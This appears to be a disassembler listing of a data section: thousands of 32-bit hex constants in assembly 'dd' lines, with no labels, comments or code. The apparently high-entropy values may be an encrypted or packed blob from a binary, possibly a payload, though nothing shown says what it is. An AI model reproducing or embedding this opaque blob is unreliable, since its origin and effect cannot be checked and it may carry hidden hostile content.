dd 0D5C00016h, 897BF442h, 0E914DE90h, 13DCEF9Dh, 9855EB88h
dd 8A0CD2B7h, 9B5BCD87h, 0D75C8C31h, 4803BA3Ch, 0BB318037h
dd 290B034Ch, 514DE9D3h, 21332C24h, 6B26A4C2h, 4713B17Eh
dd 55BA5C03h, 0C5810860h, 0ED8332A0h, 2C1F87ECh, 40F35C24h
dd 434C4481h, 9B54E361h, 0B13FDC1Eh, 4CB396E0h, 0CD9452FCh
dd 4031BA1Eh, 30D8EA11h, 3C4DC45Ch, 8C228DAh, 93F502FCh
dd 8D2C5A29h, 3681359h, 0FAC83740h, 447F028Dh, 0A8867B9Dh
dd 681B1E67h, 0F292C8Eh, 7B2ABDBEh, 0BB5322C0h, 75720BE7h
dd 33DD212Bh, 0E9504D81h, 0E807C11h, 62D96851h, 879A5B2Ch
dd 0E7895713h, 0DD945710h, 303C41A0h, 4E71A12Ah, 1D1E464Ch
dd 70C02640h, 2EF7BA52h, 0E7B7C02h, 285624CAh, 0AFE2C127h
dd 298EF220h, 0F71450FAh, 79542D2h, 0E72A26D1h, 9FE9D6C0h
dd 0D370CD84h, 0CE7030D4h, 43598C59h, 826F524Eh, 4631BAE9h
dd 0F7585597h, 811491F0h, 5AE0458Bh, 7F670CE8h, 0FC065413h
dd 0C7753E09h, 0B4A5B55Dh, 0BD47D032h, 6E0F4614h, 8AE83105h
dd 989C476h, 327008C6h, 6CCE8100h, 183F9627h, 58D0B850h
dd 0EE002D79h, 319ACA18h, 98958C6h, 27CCE9F5h, 443F8C90h
dd 0FED8180h, 22665B05h, 65245169h, 5358885Eh, 8D685202h
dd 6111E74Eh, 0A2A3DEE8h, 208228F6h, 5B0316D2h, 0F6F78853h
dd 0C0FEA3D7h, 1BCFC680h, 3AE3EAE9h, 0E0BA5204h, 6C39504h
dd 99BA01D2h, 142FD7Eh, 0E24970C2h, 9F661804h, 7080F768h
dd 44A3CEAh, 0E6E98C19h, 4982116Ah, 935C28EDh, 5D62D565h
dd 31F2FC2h, 0C2EB1EB3h, 0C503EFC6h, 37A0770Ch, 0E9E5545Bh
dd 0D9D05121h, 32E9635Ch, 870A887Eh, 0C85CF985h, 38404F07h
dd 8BC74C01h, 291D5B17h, 953ECBCh, 6490D09Ah, 8B6910F0h
dd 6BE61210h, 18D9842Bh, 8549BD09h, 1550A24h, 79420768h
dd 232C8B5Fh, 0BCCD0501h, 5AC29876h, 10F7CA11h, 77DE2862h
dd 3A9E705Bh, 5A032CF0h, 97C6866h, 0E9195FA6h, 542E95FDh
dd 9A8B6E24h, 783330FDh, 7AC4F553h, 9414A43Dh, 412E42A7h
dd 4D2530F0h, 94CC6841h, 819B9146h, 0C1FED7B1h, 0C9824480h
dd 0B7854050h, 2520E9D1h
dd 0D7B5480Dh, 0B9026D7Fh, 5393009Ch, 0B409C9B3h, 0DC289Bh
dd 0E9B2E428h, 60F4418Ch, 0FD14A143h, 1A435B1h, 0FA74594h
dd 6F21CD29h, 0F7590800h, 0B822CED5h, 2D4322A0h, 9F056102h
dd 5E80131h, 7B210713h, 8AA6967Bh, 1C87E2D4h, 0C62004C6h
dd 0D5BB0041h, 0BA4C4A6Ch, 8E269463h, 0A832CDCEh, 0F9B400EBh
dd 0A502B753h, 0EFC0C7FEh, 0A8934303h, 0F48005E7h, 1AFCE0A3h
dd 544BF4E9h, 0EC6CF5B2h, 2C555449h, 0FE24F152h, 0D18C3929h
dd 92876EDDh, 81697131h, 31C64333h, 0BC0D066Ch, 0F766804Dh
dd 5853F136h, 0B889EADCh, 2CC35481h, 0A2360CAh, 0C83358BEh
dd 1CC654Ch, 0B32421CEh, 0E5614E36h, 59A139D4h, 0EE3DED70h
dd 0FB098CC8h, 0F74162E9h, 52D18158h, 0BD555A54h, 9C83246h
dd 7366104Ah, 1BE9F800h, 1763F7Ch, 68081CD0h, 5D12141Ch
dd 6D17B871h, 5E6B6800h, 0E6A444B9h, 1E7BB958h, 136F2C0Dh
dd 50891ECEh, 0F201183Ah, 2C74D670h, 10C0101Dh, 6021510Dh
dd 2C60BF09h, 4A5EE7B3h, 0F6744837h, 0A0647D28h, 0C1285C90h
dd 2214BFACh, 899A6073h, 42D1262Eh, 4384C31Dh, 6DB064F8h
dd 0DF9528E9h, 0EB8324DDh, 685C4033h, 0CD923BF8h, 0E9127592h
dd 7D4AF641h, 0EE649FC6h, 913421CCh, 7E928C51h, 9400EF23h
dd 89FC1FDCh, 993C8BFAh, 0E0E84477h, 0B6320F2Dh, 868770C0h
dd 4271D2FEh, 146D7CEAh, 696297A0h, 4E30A890h, 0C3015BD1h
dd 0AA209298h, 304B7F94h, 0ED55DDBDh, 0D4916CEh, 696803DFh
dd 44505C7h, 5FA5A70Eh, 81028418h, 3D7EBh, 71476B8h, 110D75C0h
dd 2D38E034h, 490010F8h, 7E8C10Ch, 0B160B1E9h, 0B9518014h
dd 792D4E69h, 0FC81492Ch, 65640B03h, 0CF03B3C1h, 0EFC33F4Fh
dd 0D1CA29D1h, 0DC638DA5h, 50973078h, 386ABF10h, 0C15E5D12h
dd 0B281DE0Ch, 3C2F034Fh, 15FF829h, 24D8C29Ch, 9130ACA2h
dd 56592E4Ah, 910BC767h, 142458D9h, 26FC3A56h, 5B245F02h
dd 0DC435731h, 860D0669h, 810A878Bh, 0FB3219DBh, 30FF6683h
dd 0D7D1ECF1h, 344CBB5h, 0CB3DFBBBh, 0E9D8C05Dh, 2AE768F1h
dd 6D8E0394h, 0CD93C0Fh, 0A51A82Ah, 515CC874h, 59C0309Ah
dd 940E9568h, 0E680495Eh, 600F426Ch, 0B23E353Bh, 0C08116E4h
dd 1274255Ah, 105A34FCh, 50580793h, 0FBE9D706h, 500F54E4h
dd 2C19B252h, 9A66131Ah, 54570E86h, 398A685Fh, 60834A65h
dd 0EE5CD9C7h, 0DF013512h, 44087A10h, 892851BCh, 7BA6F6E1h
dd 0E52B1031h, 0F821028Fh, 5505DD80h, 1223140h, 2C27F07Ch
dd 870FA21Bh, 28C992Dh, 40E2A960h, 2F81047Ah, 507047B3h
dd 0AADEABC1h, 0E8F02711h, 20CDA1A8h, 0CC4FF94h, 899FE2F3h
dd 0EAE673D9h, 33342800h, 2B63B825h, 3E52489Eh, 301AC84Ch
dd 0E571A38Bh, 12D0E508h, 0C1201C92h, 0AA68A10Dh, 8AEA6046h
dd 3A41BA81h, 0C3F0D001h, 4F47B22Eh, 5C637724h, 6C8AB959h
dd 8C0DDF30h, 0F14F9277h, 29515E27h, 91204D5h, 42838A1h
dd 4DEDE9F3h, 0E4195AB4h, 0A4AAECCFh, 59094A50h, 8078424Dh
dd 10FBED19h, 0E9FD0C77h, 573A2FF2h, 58765A4Ch, 0FACAC099h
dd 7502B312h, 0D7F73087h, 74E94208h, 4A766E5Ah, 3E80DA07h
dd 13018033h, 840FC00Bh, 762D310Ah, 0E9590814h, 33FEBAC6h
dd 7B755748h, 0B4BFF94Ch, 21011EA3h, 0D0E91C4Fh, 0E8B60079h
dd 4BE63980h, 0BD2CE97h, 1A80BA24h, 9BEE9FFh, 5C41729Eh
dd 0CD483166h, 81CF40ECh, 54F7EB05h, 39807D22h, 17534306h
dd 85E5B56h, 0B70E84C2h, 0C219E99Dh, 49635979h, 50F0E486h
dd 8BE85480h, 0C4B12C59h, 0C5A0E6E9h, 3C942768h, 71E70898h
dd 0E90DBB09h, 682D40DAh, 0D197AB9Dh, 0C04D6F5Ah, 135CC9DFh
dd 0F8DD419Dh, 5B0E3633h, 17FA2C26h, 0FB1036A6h, 83AF084Bh
dd 0B2709AB4h, 3BF5752h, 3EE14AB8h, 0B13BCBAh, 0DB0AFA31h
dd 69EEF7D5h, 570987C5h, 0BA62793Dh, 8B0983CBh, 0D790888Bh
dd 281699BAh, 0D71C6ACDh, 2BC0D9E4h, 4F21CB4Bh, 0B6CBC355h
dd 60DF2610h, 51CBEE5Ch, 6E50B84h, 0F3600C87h, 9A222BE9h
dd 315C338Ch, 0E90D06D8h, 1F4D6008h, 5EB668C3h, 0C560CA94h
dd 908AC980h, 0E96C0B25h, 944E1988h, 68858896h, 0E3307C97h
dd 5671E954h, 14F1856h, 5F11EC36h, 0A249710h, 68501660h
dd 8D1F48B5h, 0C5E02DEh, 0BA520EFEh, 18076E2h, 135D73EBh
dd 21565BDEh, 48348B1Ah, 8428E98Fh, 0E9A8EFEh, 0B45BBD9Ch
dd 0F7552034h, 632C68E1h, 98CA5D14h, 25CE5408h, 53EE4488h
dd 65E94A16h, 0C1483F41h, 7CE408E0h, 8185BC20h, 3A96758Dh
dd 5EB59829h, 92A6E9A1h, 169380D4h, 6F50F13h, 97E7EFC1h
dd 28D22D40h, 645D29E0h, 0CA8C3034h, 335F31FDh, 522B8Bh
dd 2D08CCB4h, 7F1166E1h, 40C01202h, 6C18006h, 0F6C9FED8h
dd 0DF700ED1h, 5859C826h, 0B623A08h, 88407AE9h, 2106FDBBh
dd 0EBC10F08h, 92DB79E4h, 4E4422EAh, 0E5E20FA2h, 0E7084353h
dd 0DC2CFAh, 2C2B6856h, 5E7934CEh, 1039F24Ch, 145E7E62h
dd 82201627h, 0CC5E4BA1h, 0D03EBDF1h, 862EA7E1h, 26AA581Ch
dd 0CB283519h, 0F1C29C13h, 685E2248h, 99358027h, 0AC611DCh
dd 224C0B5Dh, 0F661E4C6h, 560E6843h, 7A37F876h, 0E35A2478h
dd 5F045E5Bh, 860040E2h, 515366DDh, 8817B506h, 7B758BEFh
dd 0F3018073h, 2C925DEEh, 95F9BA04h, 75F4F51Ah, 3C3BB8C3h
dd 0D3A60C08h, 9A0820D4h, 0B1E91209h, 219ECC7Ah, 6725F1B2h
dd 0B5A220D4h, 987E602Fh, 0B174F8Dh, 9CC4552Ch, 81802574h
dd 0A312C744h, 29701161h, 7410BE6Ch, 0AB900CA4h, 92F17122h
dd 29A46Ah, 73F2BB53h, 0F381781Fh, 0C0047DE8h, 5BDF2971h
dd 53484CC1h, 2AE961F0h, 23AF8060h, 79093EC4h, 0C8166842h
dd 201D9277h, 8CA2CC94h, 0F0203B85h, 5107AD15h, 45C6B850h
dd 0BD841254h, 0A4AACD82h, 0CDD756E7h, 9A772392h, 204C6EF0h
dd 0B051DA7Ah, 4FAA6DDFh, 83C8F81Fh, 215C0929h, 0C2098D00h
dd 557EE2D1h, 408C7F49h, 0D898F2D9h, 3A4F7A26h, 0EE83D51Ch
dd 70685A5Dh, 45294869h, 0E2945749h, 4A607900h, 5FFE210Eh
dd 64CE8100h, 0D14E7F7Bh, 0DE912EEh, 0CD30911Ch, 0E1240444h
dd 33AEEC04h, 1A0B1214h, 0A4034F49h, 2B0135F8h, 669D1C77h
dd 731058h, 0BF1CCB20h, 158F6CC7h, 86127F4Fh, 0E5D94E4Eh
dd 99326137h, 802A71B8h, 23821540h, 0CAF1C601h, 0CC580884h
dd 0AE9B5ECBh, 0E98C3E2Ch, 0B65F7BAFh, 25E702C3h, 81E38AD7h
dd 0CF61E213h, 3805DF35h, 0A1D06BCEh, 15AD6B9h, 834913FDh
dd 30D1FFC1h, 6A525906h, 19581476h, 5B897975h, 66E19C60h
dd 5A662A4Ch, 4916C520h, 0C910A933h, 0CF800108h, 0FEDFF6A4h
dd 0DCC6E1D7h, 0B504A004h, 0B4222BF7h, 452DF954h, 41368D05h
dd 24CAE934h, 1CEC5260h, 5E95839Ah, 0C1298D3Fh, 25ABFC47h
dd 0DE20C2A6h, 0B85B4C68h, 9992053Bh, 0BBFD8C20h, 0C6AC2940h
dd 3F549B5Ch, 0F0219580h, 3A88D9B4h, 91F61228h, 0CAEAFBh
dd 3080F3B5h, 9A068BE5h, 22B0D5F6h, 0DA466C4Eh, 30C743Eh
dd 9B116B3h, 44CD9F6h, 77D63818h, 0C0224490h, 64F50556h
dd 85AC948Dh, 264CA6D8h, 334418C3h, 0EEE7F991h, 53C9E72Ch
dd 5997C765h, 13EB3192h, 6314336h, 0EE5C4C0Dh, 728384h
dd 0C34B3CBBh, 0CB810356h, 514D5E03h, 32474605h, 0AD0C6284h
dd 0EE381E02h, 313C5AD8h, 0C43EBAABh, 58902FB4h, 4B47F201h
dd 0D32906BDh
dd 6234EE20h, 5D76A309h, 94F8BEA5h, 17C7823Ah, 5390DB58h
dd 0CB7C9800h, 3DA72543h, 49E9E228h, 5A044293h, 0D9FA8742h
dd 5FF10317h, 0E9571605h, 0C296EA7Eh, 1F403194h, 0E05207BAh
dd 7400341Bh, 0E6E28122h, 2823A901h, 9ECBDAF7h, 8850070Bh
dd 0A2C227D8h, 6148F224h, 0BD7155E6h, 1FCE2C5Ch, 7D05E581h
dd 35C04341h, 50630A53h, 0C1AE90Bh, 455F0E01h, 5B18A10Eh
dd 0AE0C3EFEh, 6A54136Dh, 0B3781401h, 3F6C1E10h, 32482B9h
dd 0C4CF2943h, 1F672581h, 19C1F44h, 4C2A3200h, 2A68595Eh
dd 50101323h, 0B0010EBDh, 0F05E298h, 12DD7693h, 3D49C82Fh
dd 60319241h, 0F6B44FA9h, 24239C8Ah, 0EB313F40h, 26AB17Ch
dd 1DDA5C4Eh, 445276C6h, 0FB5D3E0Ch, 1DF71FBh, 374011Eh
dd 0C7B9005Eh, 0E90B0217h, 3C96C943h, 0D244DF92h, 4CA21C8Bh
dd 6388E425h, 411703D2h, 8BDA3832h, 93B8BF0h, 5F5192C5h
dd 10F9F850h, 8759F759h, 0CA873977h, 8922B376h, 600EEEC1h
dd 0B2F09B60h, 0F169011Dh, 41C5A3Eh, 0B44FE6E1h, 0B7AA800Ch
dd 64162512h, 6709CD89h, 78965EFh, 24CF8747h, 0D384E1F9h
dd 23621050h, 81C2E804h, 75A8C731h, 35AFD39h, 1ACFE97Dh
dd 0C3904040h, 0FBA4EE00h, 5BDD01FCh, 8EE91253h, 70EA461h
dd 0B08C594Ah, 1F9E2568h, 0E65A289Bh, 0D3934671h, 30585F01h
dd 92AAB079h, 0AE4D9D59h, 4FB4A02Bh, 0B988FEB4h, 15A0663h
dd 85F661F5h, 0B95C5740h, 16EA09FFh, 892BFC6h, 27539382h
dd 42DDE989h, 2A58523h, 75990B04h, 1EB8302h, 9C18780h
dd 8EB8127Ch, 91381B0Fh, 89EF83A1h, 149A815h, 19E927DFh
dd 0F799209h, 704F6842h, 0A545858Eh, 44056C09h, 0E8AC2703h
dd 973C690Ch, 0BC229A6Ch, 170C90E7h, 0E934D7D2h, 0F3A0D406h
dd 0C7F5FD12h, 17680A85h, 9CF6404h, 4765C6F2h, 9D0346A8h
dd 13EBB71h, 82841FEh, 40A78A20h, 2B9C873Bh, 0DA882965h
dd 0C81554EDh, 3292CD30h, 0A60DA606h, 0C0892B1Ah, 0C6E013CFh
dd 0E70538A1h, 6158AE34h, 589A8182h, 0EFC0032Ah, 51C78008h
dd 0CA2669Fh, 0F930230Fh, 3E9E55Bh, 734E4782h, 2E8790A4h
dd 0E025F85Ch, 0EE0FB134h, 2044B6A1h, 2E60AC3h, 1AE13469h
dd 88C293CBh, 1100A1CCh, 2D37614Fh, 7D59EC6Fh, 95C54B30h
dd 31E7491Bh, 7A689EE8h, 5824394Bh, 0EC138ACBh, 0C47D5E87h
dd 0A2712A68h, 2E3378A5h, 1FD2935h, 0B151661Bh, 0D9CB28B9h
dd 9963D259h, 90915B92h, 41252A02h, 18073F83h, 0D4C6D443h
dd 55485753h, 397C05D5h, 3F805D5Ah, 0EE5841CAh, 4CD57A31h
dd 60E72989h, 57159BF7h, 69E96715h, 136509Dh, 0C369395Ch
dd 186DA468h, 0A814877h, 182C33BFh, 0CD01C7F4h, 1DB0BE7h
dd 0C20BCE3Ch, 93461A88h, 7C6A46B0h, 0C203CAB1h, 0D916E607h
dd 917DF3D1h, 80023904h, 4AA85Ah, 6D577ACEh, 4026E965h
dd 5B076676h, 0F1885150h, 8A59C821h, 44E5FF35h, 132B453Bh
dd 4A84B270h, 0C599634Ch, 3FB40050h, 0ECC0CCFEh, 0C4488007h
dd 0F15D515Fh, 698D576Ah, 0DBA494F1h, 5BA5C640h, 209698F6h
dd 29247C48h, 310F1647h, 0EC826AD2h, 0FFFA2D81h, 8AE97308h
dd 5F2C7D2Ch, 53690C45h, 7100C24Fh, 5107261Eh, 0EE4D5BB9h
dd 0CA29040Ah, 0A4525E59h, 0E92C5ADBh, 888BC16Dh, 0A337CCDAh
dd 0EDE8DB64h, 131DEF1h, 6354F825h, 50BC02C2h, 79BE97D8h
dd 7A098AA8h, 2D6EF902h, 5A795F64h, 6C0507E2h, 590B410Eh
dd 3500C1DAh, 316956DFh, 0C058C501h, 0FB61EFCAh, 0D909F75Bh
dd 9A42F4E9h, 3D9842Dh, 7F30BD4h, 16D670D0h, 0D575CCF9h
dd 9791A2A6h, 2D854712h, 91337582h, 2F4A34FFh, 0C11AE916h
dd 0DC8DB78Dh, 0A1C83C6Eh, 0B53F210Ch, 8ACA8444h, 4F1304A6h
dd 0C122730h, 0E23164F0h, 0E340E998h, 0F55BA9BEh, 0BCD5242Fh
dd 0BE9A1A9h, 5D4F092Eh, 6C0EA850h, 0C0083848h, 441258CDh
dd 0AEDB820h, 325C77FBh, 793337F4h, 5668B221h, 0CFA63C38h
dd 7F89B766h, 3136A928h, 0C6800D06h, 0D5C05DE6h, 412A10F1h
dd 0CB291F11h, 0D83B8B59h, 687B4D14h, 4ACD2C53h, 0BE126CCAh
dd 788FF213h, 4306462Ah, 0FF886E90h, 0FB78875Fh, 2256BF2Fh
dd 18384AC7h, 5073C688h, 0F5E9F40Bh, 0F6F8CE12h, 0ADE5A9AAh
dd 0BEDD3ED8h, 44044B37h, 48FAF8E2h, 3F9C1B69h, 0E697E167h
dd 0E1485B2Fh, 0D048B2BFh, 6816B9C6h, 15645305h, 86F40DB5h
dd 0B98F992Dh, 0FCE9C786h, 8102D71Eh, 0C25543EAh, 886623Dh
dd 5704088Fh, 0F90F9E9h, 9710B268h, 309C7419h, 29324362h
dd 0F159E3C8h, 4B064863h, 0EF5C3DAEh, 0EA856F81h, 36820446h
dd 0E3C1217Eh, 8A042E08h, 5D095BA1h, 0A096D8AEh, 9A2D68AAh
dd 95F9982Ah, 35C7181Fh, 69A5118Bh, 55D9F2A9h, 6B8507A7h
dd 0C15D1460h, 0E8E6D1DBh, 981784F6h, 64098726h, 9DDDAF0Eh
dd 0B23CDECEh, 50E5E4E1h, 5C9DB8ECh, 0C2063558h, 632891E9h
dd 47C3652Ch, 9A9FBB81h, 0E620BCD1h, 4F5673DDh, 5D41C2EEh
dd 197E851h, 0F904D7D4h, 41F53A56h, 6893C0EAh, 5087FAD9h
dd 0EE7D35Ch, 7B33B71h, 327FBCD8h, 110C1260h, 74333074h
dd 0FD0195E9h, 0C05AF028h, 406404D8h, 278805A8h, 92CB225h
dd 0C6FE72B6h, 0F0E0A3D8h, 0ED32169Fh, 6951E909h, 0DB8F847Ah
dd 0B9FC3412h, 65BD2424h, 2801B782h, 33A8C0F8h, 2C8981D8h
dd 3E204AE4h, 60F707EFh, 124CCCD7h, 0E7F60BF3h, 0C206036Ah
dd 49B508h, 5242E6BDh, 0ED04817Ch, 5BEE3E30h, 4B013AC7h
dd 0E3A4F82h, 2600F5C5h, 8DE90BAEh, 0C478E26Bh, 9E04403Dh
dd 55CD2D4Fh, 8A4FA326h, 1AE152A5h, 7AF5CA08h, 0D30DA18Ah
dd 6110893Dh, 0B57B40C2h, 5E00BCBCh, 1A691125h, 0CB350446h
dd 0C70FBD56h, 9547D0D3h, 0FA162924h, 0D8234E9h, 4A40405Ah
dd 0F1770F22h, 0A7C4CF31h, 7510E4D1h, 0FC13B40h, 0C8310EE8h
dd 0D2E08967h, 0C07C7AB2h, 78862882h, 0E8DE6013h, 75B6016Dh
dd 9EE9EF29h, 8026874Ah, 0C33310F6h, 9063FAFh, 44791613h
dd 0B851D41Dh, 0E285CA20h, 327066A7h, 1AFAC884h, 127896AAh
dd 83EC8CE6h, 74B50CD3h, 82083F30h, 612036F2h, 43BA0774h
dd 0A3D74806h, 855A5B23h, 8348D4h, 525E9AEFh, 545305A6h
dd 56D252E9h, 3530898Bh, 106729EEh, 0B91C301Fh, 628D7D27h
dd 350B29BBh, 35B6001Eh, 1B4C9E20h, 0BE1838B3h, 0A10C5AF0h
dd 2751B182h, 39C337B1h, 0E1C020DFh, 0B27B5206h, 0D44BCFF0h
dd 1B7973D0h, 543F7BE8h, 248899A2h, 80958E1h, 8520029Dh
dd 10758E27h, 59906812h, 8FD2E441h, 0B3845A90h, 6A951EF8h
dd 416A1111h, 0E91808CDh, 30094B26h, 584CB169h, 0F0245479h
dd 0F358131h, 3A53802Ch, 508AB116h, 0DBF71Eh, 5166DDF3h
dd 0D848296Bh, 2BEB07C5h, 0E08FF911h, 0EA12DBC3h, 9246D61Eh
dd 1F560C64h, 805FD01Fh, 0DF286ACEh, 0FA06817h, 27D87631h
dd 54134F16h, 380B39F9h, 9F1E49BBh, 36C0A90Ch, 6CF50780h
dd 6E59EC20h, 0E5282762h, 0ED705B54h, 0F6E92D06h, 0E2531A85h
dd 0D38F3985h, 952458A8h, 4D114C7Eh, 2601270Dh, 0A07F6A33h
dd 0B62FD9C9h, 8BC54F9Ch, 0D4F42311h, 9CC07D5Ah, 3E4BD7BEh
dd 0B0A755CEh, 6DEEEFE8h, 53344316h, 6C114900h, 4889C233h
dd 0C43036F7h, 39D82D68h, 251F223Dh, 0BCE8B60h, 57052E1Dh
dd 4B6D8306h, 1677F853h, 1F91EC0Dh, 8A94ADD1h, 16E9833Bh
dd 7CC80C87h, 57D82068h
dd 7F632AFCh, 945EF7D5h, 76027CE8h, 5714D51Eh, 0F01F0D6h
dd 5E47744Eh, 9707BAA0h, 60218D19h, 0E906C17Fh, 519F680Bh
dd 2CFB2061h, 0EC6AD4Ch, 0A07FD229h, 7B5B74C3h, 0A7D84801h
dd 96F40841h, 4FFA3E39h, 22B5C8ACh, 593FA108h, 4B315870h
dd 1BE5362h, 68D52C4Ah, 2D72781Bh, 0A9E6789h, 14DA8AB3h
dd 5618A4F5h, 641BDD53h, 2313B626h, 8183C222h, 344B1DD0h
dd 7B4B05F6h, 304DE32h, 2C4FBF5Eh, 4E2CB199h, 8C201112h
dd 6E40E67Bh, 41B89859h, 7BE2ED21h, 61B98D00h, 0A077CA36h
dd 911B8DCh, 0CCE9602Dh, 0E607BEF2h, 30DA4D9Ah, 955DCEB6h
dd 0A29C308Bh, 0DD0CE691h, 0BF24376h, 6D03214Fh, 828FD68Eh
dd 3808B9EBh, 0C78084CFh, 42568221h, 5023AC4h, 8C12280Dh
dd 0CD47C148h, 0F3D2BD28h, 8919598Ah, 0B92D24D4h, 0A41164A2h
dd 0BE3C66DFh, 0A0F3989Eh, 37685E7Dh, 0AB3F5CD6h, 0F180DC40h
dd 0CB7AE998h, 1F27F431h, 0D049BEA4h, 0E2D3BB39h, 0E8E3D2D6h
dd 0B44C7550h, 5A54B0C1h, 0C5018172h, 34AB5331h, 42FE5C1h
dd 0A911E89Ch, 66D4526h, 0BA007EC1h, 43C12B41h, 2C34E281h
dd 34AAF947h, 0D568D30Ah, 4AC7A3C4h, 1A6AD65h, 32286010h
dd 903EA25Ch, 1D791FF9h, 93C120A2h, 0EA1E0003h, 0E9186608h
dd 0A15BAE37h, 5C571562h, 52126549h, 48EA8B92h, 151D1047h
dd 689F3681h, 95DE7C4Ah, 0F1F61372h, 18CC4EE0h, 0AD0D1968h
dd 3DC036FAh, 6896DC5h, 4FF8F6A0h, 2A21DD02h, 33CC8E5Fh
dd 60C53F37h, 0EAC09ABDh, 0F2398006h, 5CC29D25h, 2E38EB9Dh
dd 933C50D3h, 7A09505Ah, 0AC1CE0C9h, 4BFD3168h, 0C18E49h
dd 979EA81h, 29615F60h, 0EE041678h, 5E0CEF08h, 68E13DC2h
dd 0F090B3FFh, 3CE59666h, 808BB73Eh, 0E2A965F7h, 0E9C2FB81h
dd 3B2428CDh, 4202B383h, 31322F18h, 5859C6C0h, 6E1F6812h
dd 9210AEA3h, 0E0C10025h, 11FC2D04h, 121310Dh, 7FE2854h
dd 80534555h, 6201DD2Ch, 5E5F607Ch, 0DA68357Bh, 82F72927h
dd 0F8FCE942h, 0BA5200DCh, 7E71083h, 5A24D029h, 9E5A005Eh
dd 83009F9Ch, 5A54D68h, 5661CBFh, 210B4A8Ah, 8F3FFCD8h
dd 60409377h, 47757257h, 4D169F7h, 8DAD6400h, 0E910B88Ah
dd 0BB000FC4h, 0BE80A283h, 5B0ED929h, 57C88950h, 64CA3F16h
dd 5057E908h, 5E783110h, 0B2321772h, 6F2D7A55h, 43D62EF8h
dd 0DA6B0D46h, 29494ABCh, 51D8285h, 1AF5E038h, 0CF680453h
dd 0AC26933Dh, 12155898h, 2CC342Eh, 5FB5CF4Bh, 0C442E3C9h
dd 0B1B4AB6Ch, 70EE5C2h, 908C6454h, 550C6892h, 0BCA421C6h
dd 1234B6A7h, 0CE0F03FDh, 70363359h, 900D0631h, 77FA2404h
dd 6CDA53A9h, 0B6526848h, 0CE80A80Ch, 902C06ACh, 1FE39A2Eh
dd 8C03E1C0h, 70C99C9h, 0C0606CAh, 0B213C117h, 0ED0EA681h
dd 0D66696ADh, 4E46F782h, 9BD03525h, 7CBDCAFFh, 89680496h
dd 1F83987Bh, 7EBA00E7h, 266A0447h, 0C05AD721h, 8019A7A2h
dd 0CF29F812h, 57B2D6A8h, 9409C558h, 5503916h, 70FEE83h
dd 91B8205Fh, 146EDF34h, 0F858C601h, 64FE1B00h, 3A4C0597h
dd 291F8E05h, 7022DF0h, 79C3315Eh, 624E4C57h, 2B584C06h
dd 3C0B5E2Dh, 0D0CEC229h, 4061E9D7h, 5BBBA0B5h, 265D6F2Dh
dd 12D36E46h, 7949A322h, 0B9FA1954h, 0C6031C76h, 0E1D1492Ch
dd 9B0895C1h, 9A43A728h, 0FA6850C2h, 0FE3CEED0h, 0DFCB94C6h
dd 0E3ADA5C6h, 58FA8A5Ah, 201222E0h, 5C002960h, 1038C405h
dd 65846855h, 41202126h, 0B05066D4h, 3830E5F3h, 0A5583AB5h
dd 5E811AD1h, 1505A537h, 3535D0A4h, 0B63EBF73h, 10694C6Ch
dd 7777D3A2h, 0BD4C30EAh, 7ED8E1BBh, 563BE3Bh, 457C8CC9h
dd 0A8D92AC7h, 0DF629881h, 0D2BF0070h, 751C142Ch, 78C0F781h
dd 0D5E97F18h, 64E89CC7h, 0A440E085h, 1381BA49h, 0DB8C0168h
dd 0BF38955Ah, 2630E953h, 0BBC69DCDh, 8233B78h, 0C2ADF601h
dd 41290547h, 4216788h, 0F412CD1Eh, 183DF1D0h, 0D525F7EFh
dd 0A7F64831h, 0BE6558E4h, 165B8F49h, 38B9C6E2h, 0F059B6C1h
dd 725C4881h, 0FD9BE4F5h, 6EC2A1A9h, 2359DA00h, 4F01778Eh
dd 4D2A08DAh, 0AD8A5C17h, 1321B802h, 39C075ACh, 0C5002D06h
dd 355F363Ah, 3DCE8D7Fh, 0A450010Bh, 0EE1BB539h, 9C7413CAh
dd 0BD70942Dh, 6B8422BAh, 5A540512h, 5C89F7A7h, 0DE0AF060h
dd 13F85E82h, 0C0C924EEh, 0C136774Fh, 0E23C2C72h, 3AF7B603h
dd 1838995Bh, 1E3A0E42h, 297DD109h, 0C6CD69D6h, 0E308A250h
dd 19585C66h, 0EF06D430h, 0C078C3FEh, 0F6530519h, 0D1F75B30h
dd 9630663Eh, 0EDF0E0C1h, 14529768h, 4A65C04Fh, 8B24F180h
dd 5C8BCD28h, 24386674h, 88A478CBh, 52870562h, 0CE17FE88h
dd 0E70AF745h, 0CA4B8C19h, 0F24EC299h, 0A20CD7A5h, 0E5EB1608h
dd 25509B40h, 7C8915D1h, 102FFDCAh, 28009650h, 0B82D4B7Dh
dd 0DF2CC72Ch, 1AAC656Ah, 8B120104h, 6771F809h, 4F29F24Bh
dd 0F74A04E3h, 675D82D0h, 375C0549h, 0E90644F7h, 0A267A820h
dd 9A8F7248h, 9C7798D5h, 7EE98B9Eh, 2D045670h, 2C3F4A5Ch
dd 0CE401FD9h, 5E16B64h, 0C14A5A63h, 0CA2BC0EAh, 9D282FE0h
dd 90D9443h, 0D9BC60D0h, 69C1CD2Ah, 7031030h, 835F5D34h
dd 790018C9h, 227ABBB0h, 2558C589h, 2C4AEF01h, 55083FF6h
dd 6504BBDh, 0E962AC91h, 0B0DC93E6h, 60577C8Ah, 18A6EA3Ch
dd 5E0A30FFh, 2402BE56h, 35F2F112h, 928DB297h, 0B30F5A21h
dd 4812223Dh, 5D9EC8B8h, 43C26835h, 1DE24412h, 5958304Ah
dd 525A5E68h, 6A12588Dh, 41F289F1h, 4EAA8353h, 4B3698C5h
dd 5D5E4038h, 493ADC07h, 20CA31E3h, 3B4C3CC8h, 0CBC04D6h
dd 48C31C2Ah, 0EEF1F802h, 3D427A5Ah, 0C02D5049h, 198495E2h
dd 6892E4F6h, 5095985Dh, 54B462F7h, 0ED2A54Fh, 1A315756h
dd 732871E6h, 0D93154DEh, 37594E71h, 222DC224h, 68E18974h
dd 306B06DFh, 1569E919h, 9FABC495h, 5C0D1A0Ch, 89666401h
dd 0B78DE902h, 58A066A6h, 0FD13B353h, 1E02DBF6h, 0A24F1D68h
dd 0E809B131h, 60DEE998h, 66AC44F9h, 756CA468h, 0B5B7505Eh
dd 0B97D7D8h, 80CD428Ah, 0A663B918h, 0EE833E4Fh, 4E25EDD8h
dd 4B903AD2h, 0A55BD17Ah, 845AE009h, 11C00687h, 0FB50E6BCh
dd 0A9D8D3DBh, 0C8F2AAEh, 49C124D5h, 2A6D9EE9h, 67E85B25h
dd 51C2EF5Ch, 1B7E36E9h, 1652BB01h, 0ED313ECAh, 1F0443Fh
dd 0EAAD82DDh, 90AD70F3h, 0B3F3886Fh, 0CA680DD7h, 51B2F9C3h
